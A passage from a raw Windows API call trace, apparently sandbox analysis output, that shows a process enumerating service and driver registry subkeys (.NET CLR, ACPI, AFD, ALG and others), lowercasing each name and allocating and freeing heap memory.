CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1d60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0218.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.607] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0218.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0218.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f16e8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0218.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.607] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0218.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0218.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1d60, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0218.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.608] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0218.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0218.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f16e8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0218.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.608] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0218.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0218.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1d60, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0218.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.608] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0218.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0218.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f16e8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0218.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.609] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0218.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0218.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1d60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0218.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.609] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0218.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0218.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.609] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0218.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0218.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0218.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.609] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0218.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0218.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.610] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0218.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0218.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1d60, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0218.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.610] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0218.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0218.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.610] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0218.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0218.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.611] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0218.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0218.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.611] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0218.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0218.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0218.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.611] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0218.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0218.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f16e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0218.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.611] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0218.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0218.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0218.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.612] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0218.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0218.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0218.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.612] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0218.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0218.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0218.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.612] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0218.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0218.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0218.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.613] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0218.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0218.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0218.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) 